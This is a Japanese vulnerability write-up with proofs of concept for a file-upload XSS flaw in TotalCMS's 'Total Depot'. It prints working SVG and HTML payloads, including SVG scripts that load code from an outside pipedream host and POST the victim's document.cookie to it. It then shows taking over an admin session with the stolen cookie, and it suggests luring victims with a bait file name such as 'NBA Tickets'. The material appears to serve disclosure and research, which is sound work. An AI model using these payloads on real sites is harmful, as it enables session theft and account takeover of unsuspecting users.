
説明: TotalCMS には任意ファイルアップロード - XSS の脆弱性が存在し、クロスサイトスクリプティング (XSS) を可能にし、セッション Cookie の窃取も可能にします。
攻撃ベクトル: "Total Depot" のファイルアップロード処理の脆弱性により、非表示のアラートを仕込んだ PDF / SVG / HTML ファイルをアップロードして、クロスサイトスクリプティング (XSS) を実行し、ユーザーの Cookie を窃取することができます。
2つの PoC を実行します:
最初の PoC から始めます:
管理パネル (https://www.totalcms.co/demo/total-cms/admin/) にログインしたら、管理サイトの "Total Depot" に移動し、非表示の XSS を仕込んだ PDF / SVG / HTML ファイルをアップロードします。
ペイロードは以下の通りです:
これは、JS2PDFInjector ツールで生成された XSS ペイロードと、以下の内容を含む JS ペイロードです:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


アップロード後、リンクをクリックすると、ファイルが保存されているパスを確認できます:

ファイルのパス:



そして、これが3種類のファイルに対するクロスサイトスクリプティング (XSS) の結果と、ユーザーの Cookie です:



続いて、2つ目の PoC に進みます:
私たちはサイバー犯罪者になりすまし、ユーザーのセッション Cookie を窃取してサーバーに送信します。
このケースでは PoC としてファイルをアップロードしましたが、実際のケースでは、"NBA Tickets" のような興味を引く名前のファイルをアップロードして公開し、被害者ユーザーがそのファイルを実行した際に気づかれずに Cookie を送信させることができます。
まず最初に、外部サーバーとの通信が可能かどうかをテストします。
ペイロードは以下の通りです:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


pipedream のリクエストで確認できるように、リクエストを正しく取得できています。
ペイロードは以下の通りです:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
それを実行します:


画像で確認できるように、ユーザーのセッション Cookie を正しく取得できています。

セッション Cookie を pipestream で取得したものに変更して保存します。

ウェブサイトをリロードすると、管理者ユーザーになりすますことができました。

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html